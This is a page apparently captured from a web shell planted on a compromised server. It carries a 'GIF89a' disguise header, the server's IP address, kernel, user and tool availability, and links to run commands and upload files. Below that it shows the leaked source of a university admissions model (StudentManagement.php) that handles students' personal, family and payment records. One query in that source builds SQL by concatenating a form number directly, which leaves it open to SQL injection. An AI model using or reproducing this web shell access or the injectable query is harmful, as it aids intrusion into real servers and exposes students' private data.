GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.217.237.169
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/application/models/admin/../user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/application/models/admin/../user/StudentManagement.php
<?php

/**
 * Model Class For Handling All DB Operations Related To Students
 *
 * @author Softpro India Pvt. Ltd.
 */
class StudentManagement extends CI_Model {

    function getFeeDetails($tspi_id = '', $formno = '', $email = '', $mobile = '', $dob = '') {
        $this->db->select("*");
        $this->db->from('tbl_student_personal_info TSPI');
        $this->db->join("tbl_univ_course_session_mapping univ", "univ.ucs_map_id = TSPI.ucs_map_id");
        $this->db->join("tbl_course_sub_master sc", "sc.tcsm_id = univ.sub_course_id");
        $this->db->join("tbl_course_master c", "sc.course_id = c.course_id");
        $this->db->join('tbl_session_master TSM', 'univ.session_id = TSM.session_id');
        $this->db->join('transaction_mst t', 't.regno = TSPI.tspi_id');
        $this->db->join('adm_form_no AD', 'AD.regno = TSPI.tspi_id');

        if ($tspi_id != '') {
            $this->db->where("tspi.tspi_id", $tspi_id);
        }
        if ($formno != '') {
            $this->db->where("tspi.tspi_form_no", $formno);
        }
        if ($email != '') {
            $this->db->where("tspi.tspi_email", $email);
        }
        if ($mobile != '') {
            $this->db->where("tspi.tspi_mobile", $mobile);
        }
        if ($dob != '') {
            $this->db->where("tspi.tspi_dob", $dob);
        }
        $this->db->where("t.tran_details", "ADMISSION");
        $this->db->where("t.status", "T");
        return $this->db->get();
    }

    function getStudentPersonalInfoAndPhotoSignBy($tspi_id = '', $formno = '', $email = '', $mobile = '', $dob = '') {
        $this->db->select("*");
        $this->db->from('tbl_student_personal_info TSPI');
        $this->db->join("tbl_univ_course_session_mapping univ", "univ.ucs_map_id = TSPI.ucs_map_id");
        $this->db->join("tbl_course_sub_master sc", "sc.tcsm_id = univ.sub_course_id");
        $this->db->join("tbl_course_master c", "sc.course_id = c.course_id");
        $this->db->join('tbl_session_master TSM', 'univ.session_id = TSM.session_id');
        if ($tspi_id != '') {
            $this->db->where("TSPI.tspi_id", $tspi_id);
        }
        if ($formno != '') {
            $this->db->where("TSPI.tspi_form_no", $formno);
        }
        if ($email != '') {
            $this->db->where("TSPI.tspi_email", $email);
        }
        if ($mobile != '') {
            $this->db->where("TSPI.tspi_mobile", $mobile);
        }
        if ($dob != '') {
            $this->db->where("TSPI.tspi_dob", $dob);
        }
        return $this->db->get();
    }

    function getStudentContactInfoBy($tspi_id) {
        $this->db->select('TSCI.tsci_id,TSCI.tsci_perma_state,TSCI.tsci_perma_city,TSCI.tsci_perma_zipcode,TSCI.tsci_resid_state,TSCI.tsci_resid_city,TSCI.tsci_resid_zipcode,TSCI.tsci_parent_landline,'
                . 'TSCI.tsci_parent_mobile,TSCI.tsci_added_on,TSCI.tsci_added_by,TSCI.tsci_updated_on,TSCI.tsci_updated_by,TSCI.tsci_perma_address_line_one,TSCI.tsci_perma_address_line_two,TSCI.tsci_perma_address_line_three,TSCI.tsci_resid_address_line_one,'
                . 'TSCI.tsci_resid_address_line_two,TSCI.tsci_resid_address_line_three,pst.state_name as p_state_name,mst.state_name as m_state_name,pct.city_name as p_city_name,mct.city_name as m_city_name');
        $this->db->from('tbl_student_contact_info TSCI');
        $this->db->join('tbl_states_master pst', 'TSCI.tsci_perma_state=pst.state_id');
        $this->db->join('tbl_states_master mst', 'TSCI.tsci_resid_state=mst.state_id');
        $this->db->join('tbl_city_master pct', 'TSCI.tsci_perma_city=pct.city_id');
        $this->db->join('tbl_city_master mct', 'TSCI.tsci_resid_city=mct.city_id');
        $this->db->where("TSCI.tspi_id", $tspi_id);
        return $this->db->get();
    }

    function getStudentStudentEntranceExamProfExpAndExtraCurricularInfoBy($tspi_id) {
        $this->db->select('TSEVI.tsevi_id,TSEVI.tsevi_is_prof_exp,TSEVI.tsevi_no_of_years,TSEVI.tsevi_organization,'
                . 'TSEVI.tsevi_job_desc,TSEVI.tsevi_extra_activities,TSEVI.tsevi_how_know_sms,TSEVI.tsevi_entrance_through,'
                . 'TSEVI.tsevi_form_no,TSEVI.tsevi_composite_score,TSEVI.tsevi_percnt_obtained,TSEVI.tsevi_rank,'
                . 'TSEVI.tsevi_added_on,TSEVI.tsevi_updated_on,TSEVI.tsevi_added_by,'
                . 'TSEVI.tsevi_updated_by,TSEVI.tsevi_percntage');
        $this->db->from('tbl_student_entrance_info TSEVI');
        $this->db->where("TSEVI.tspi_id", $tspi_id);
        return $this->db->get();
    }

    function getStudentFamilyBackgroundInfoBy($tspi_id) {
        $this->db->select('TFBI.tfbi_id,TFBI.tfbi_relation,TFBI.tfbi_name,TFBI.tfbi_organization,'
                . 'TFBI.tfbi_designation,TFBI.tfbi_user_type_flag,TFBI.tfbi_mapping_id,TFBI.tfbi_added_on,'
                . 'TFBI.tfbi_updated_on,TFBI.tfbi_added_by,TFBI.tfbi_updated_by,rel.rel_title');
        $this->db->from('tbl_family_background_info TFBI');
        $this->db->join('tbl_relation_master rel', 'TFBI.tfbi_relation = rel.rel_id');
        $this->db->where("TFBI.tfbi_user_type_flag", "S");
        $this->db->where("TFBI.tfbi_designation != 'NA'");
        $this->db->where("TFBI.tfbi_organization != 'NA'");
        $this->db->where("TFBI.tfbi_mapping_id", $tspi_id);
        return $this->db->get();
    }

    function getStudentFatherInfoBy($tspi_id) {
        $this->db->select('TFBI.tfbi_id,TFBI.tfbi_relation,TFBI.tfbi_name,TFBI.tfbi_organization,'
                . 'TFBI.tfbi_designation,TFBI.tfbi_user_type_flag,TFBI.tfbi_mapping_id,TFBI.tfbi_added_on,'
                . 'TFBI.tfbi_updated_on,TFBI.tfbi_added_by,TFBI.tfbi_updated_by');
        $this->db->from('tbl_family_background_info TFBI');
        $this->db->join('tbl_relation_master TRM', 'TFBI.tfbi_relation = TRM.rel_id');
        $this->db->where("TFBI.tfbi_user_type_flag", "S");
        $this->db->where("TFBI.tfbi_designation", "NA");
        $this->db->where("TFBI.tfbi_organization", "NA");
        $this->db->where("TRM.rel_code", 2);
        $this->db->where("TFBI.tfbi_mapping_id", $tspi_id);
        return $this->db->get();
    }

    function getStudentHostelInfoBy($tspi_id) {
        $this->db->select('*');
        $this->db->from('tbl_student_hostel_resid_info TSHRI');
        $this->db->where("TSHRI.tspi_id", $tspi_id);
        return $this->db->get();
    }

    function getStudentFullAdmissionAndTransactionDetails($formno = '', $email = '', $mobile = '', $dob = '') {
        $this->db->select("*");
        $this->db->from('tbl_student_personal_info TSPI');
        $this->db->join("tbl_univ_course_session_mapping univ", "univ.ucs_map_id = TSPI.ucs_map_id");
        $this->db->join("tbl_course_sub_master sc", "sc.tcsm_id = univ.sub_course_id");
        $this->db->join("tbl_course_master c", "sc.course_id = c.course_id");
        $this->db->join('tbl_session_master TSM', 'univ.session_id = TSM.session_id');
        $this->db->join('transaction_mst t', 't.regno = TSPI.tspi_id');
        $this->db->join('adm_form_no AD', 'AD.regno = TSPI.tspi_id');
        if ($formno != '') {
            $this->db->where("tspi.tspi_form_no", $formno);
        }
        if ($email != '') {
            $this->db->where("tspi.tspi_email", $email);
        }
        if ($mobile != '') {
            $this->db->where("tspi.tspi_mobile", $mobile);
        }
        if ($dob != '') {
            $this->db->where("tspi.tspi_dob", $dob);
        }
        $this->db->where("t.tran_details", "ADMISSION");
        $this->db->where("t.status", "T");
        return $this->db->get();
    }

    function getPersonalDetailsByTSPIID($tspi_id) {
        $this->db->select("*");
        $this->db->from("tbl_student_personal_info");
        $this->db->where("tspi_id", $tspi_id);
        return $this->db->get();
    }

    function insertTransactionDetails(array $transactionArry) {
        $this->db->insert('transaction_mst', $transactionArry);
        return $this->db->insert_id();
    }

    function insertAdmissionForm(array $adminFormNoArry) {
        $this->db->insert('adm_form_no', $adminFormNoArry);
        return $this->db->insert_id();
    }

    function createNewStudentPersonalInfoEntry(array $newStudentPersonalInfo) {
        $this->db->insert('tbl_student_personal_info', $newStudentPersonalInfo);
        return $this->db->insert_id();
    }

    function createNewStudentContactInfoEntry(array $newStudentContactInfo) {
        $this->db->insert('tbl_student_contact_info', $newStudentContactInfo);
        return $this->db->insert_id();
    }

    function createNewStudentEntranceExamProfExpAndExtraCurricularInfoEntry(array $newStudentEntranceExamInfo) {
        $this->db->insert('tbl_student_entrance_info', $newStudentEntranceExamInfo);
        return $this->db->insert_id();
    }

    function createNewStudentHostelAndResidenceChoiceInfoEntry(array $newStudentHostelAndResidenceChoiceInfo) {
        $this->db->insert('tbl_student_hostel_resid_info', $newStudentHostelAndResidenceChoiceInfo);
        return $this->db->insert_id();
    }

    function createNewStudentEducationalQualificationInfoMulti(array $newStudentEducationalQualificationInfoBatch) {
        $this->db->insert_batch('tbl_student_edu_info', $newStudentEducationalQualificationInfoBatch);
        return $this->db->insert_id();
    }

    function createNewStudentFamilyBackgroundInfoMulti(array $newStudentEducationalFamilyBackroundInfoBatch) {
        $this->db->insert_batch('tbl_family_background_info', $newStudentEducationalFamilyBackroundInfoBatch);
        return $this->db->insert_id();
    }

    function getStudentPersonalInfoByFormNumber($formRefNumber, $strict_check) {
        $this->db->select('*');
        $this->db->from('tbl_student_personal_info TSPI');
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        if ($strict_check) {
            $this->db->where('TSPI.tspi_form_no', $formRefNumber);
            $this->db->where('TSPI.tspi_reference_no', $formRefNumber);
        } else {
            $this->db->where("TSPI.tspi_form_no = '" . $formRefNumber . "' OR TSPI.tspi_reference_no = '" . $formRefNumber . "'");
        }

        return $this->db->get();
    }

    function getStudentEducationalQualificationInfo($tspi_id) {
        $this->db->select('TESI.tesi_id,TESI.tesi_exam,TESI.tesi_board,TESI.tesi_university,'
                . 'TESI.tesi_stream,TESI.tesi_passing_year,TESI.tesi_percnt,TESI.tesi_cgpa,'
                . 'TESI.tesi_division,TESI.tesi_added_on,TESI.tesi_updated_on,TESI.tesi_added_by,'
                . 'TESI.tesi_updated_by,TESI.tspi_id,TESI.tesi_max_marks_cgpa,TEM.exam_id,TEM.exam_name');
        $this->db->from('tbl_student_edu_info TESI');
        $this->db->join('tbl_exams_master TEM', 'TESI.tesi_exam = TEM.exam_id');
        $this->db->where("TESI.tspi_id", $tspi_id);
        return $this->db->get();
    }

    function getStudentMotherInfoBy($tspi_id) {
        $this->db->select('TFBI.tfbi_id,TFBI.tfbi_relation,TFBI.tfbi_name,TFBI.tfbi_organization,'
                . 'TFBI.tfbi_designation,TFBI.tfbi_user_type_flag,TFBI.tfbi_mapping_id,TFBI.tfbi_added_on,'
                . 'TFBI.tfbi_updated_on,TFBI.tfbi_added_by,TFBI.tfbi_updated_by');
        $this->db->from('tbl_family_background_info TFBI');
        $this->db->join('tbl_relation_master TRM', 'TFBI.tfbi_relation = TRM.rel_id');
        $this->db->where("TFBI.tfbi_user_type_flag", "S");
        $this->db->where("TFBI.tfbi_designation", "NA");
        $this->db->where("TFBI.tfbi_organization", "NA");
        $this->db->where("TRM.rel_code", 1);
        $this->db->where("TFBI.tfbi_mapping_id", $tspi_id);
        return $this->db->get();
    }

    /* Functions For Updating Infos */

    function updateStudentPersonalInfo(array $studentUpdatedPersonalInfo) {
        $this->db->where('tspi_id', $studentUpdatedPersonalInfo['tspi_id']);
        return $this->db->update('tbl_student_personal_info', $studentUpdatedPersonalInfo);
    }

    function updateStudentPersonalInfoMulti(array $studentUpdatedPersonalInfoBulk) {
        return $this->db->update_batch('tbl_student_personal_info', $studentUpdatedPersonalInfoBulk, 'tspi_id');
    }

    function updateStudentContactInfo(array $studentUpdatedContactInfo) {
        $this->db->where('tspi_id', $studentUpdatedContactInfo['tspi_id']);
        return $this->db->update('tbl_student_contact_info', $studentUpdatedContactInfo);
    }

    function updateStudentEntranceExamProfExpAndExtraCurricularInfo(array $studentUpdatedEntranceExamInfoInfo) {
        $this->db->where('tspi_id', $studentUpdatedEntranceExamInfoInfo['tspi_id']);
        return $this->db->update('tbl_student_entrance_info', $studentUpdatedEntranceExamInfoInfo);
    }

    function updateHostelAndResidenceInfo(array $studentUpdatedHostelAndResidenceInfo) {
        $this->db->where('tspi_id', $studentUpdatedHostelAndResidenceInfo['tspi_id']);
        return $this->db->update('tbl_student_hostel_resid_info', $studentUpdatedHostelAndResidenceInfo);
    }

    function updateFamilyBackgroundInfoMulti(array $studentFamilyBackgroundUpdateInfoBatch) {
        return $this->db->update_batch('tbl_family_background_info', $studentFamilyBackgroundUpdateInfoBatch, 'tfbi_id');
    }

    function updateStudentEducationalQualificationInfoMulti(array $studentEducationQualificationUpdateInfoBatch) {
        return $this->db->update_batch('tbl_student_edu_info', $studentEducationQualificationUpdateInfoBatch, 'tesi_id');
    }

    /* Functions For Permanent Deletion */

    function deleteStudentPersonalInfoEntry($tspi_id) {
        $this->db->where("tspi_id", $tspi_id);
        $this->db->delete("tbl_student_personal_info");
    }

    function deleteStudentContactInfoEntry($tspi_id) {
        $this->db->where("tspi_id", $tspi_id);
        $this->db->delete("tbl_student_contact_info");
    }

    function deleteStudentEntranceExamProfExpAndExtraCurricularInfoEntry($tspi_id) {
        $this->db->where("tspi_id", $tspi_id);
        $this->db->delete('tbl_student_entrance_info');
    }

    function deleteStudentHostelAndResidenceChoiceInfoEntry($tspi_id) {
        $this->db->where("tspi_id", $tspi_id);
        $this->db->delete('tbl_student_hostel_resid_info');
    }

    function deleteStudentIDProofInfoEntry($tipi_for) {
        $this->db->where("tipi_for", $tipi_for);
        $this->db->delete('tbl_id_proof_info');
    }

    function deleteStudentEducationalQualificationInfoEntry($tspi_id) {
        $this->db->where("tspi_id", $tspi_id);
        $this->db->delete('tbl_student_edu_info');
    }

    function deleteStudentEducationalQualificationInfoEntryBy($tesi_id) {
        $this->db->where("tesi_id", $tesi_id);
        $this->db->delete('tbl_student_edu_info');
    }

    function deleteStudentFamilyBackgroundInfoEntry($tfbi_mapping_id) {
        $this->db->where("tfbi_mapping_id", $tfbi_mapping_id);
        $this->db->delete('tbl_family_background_info');
        
    }

}

KBHT - 2023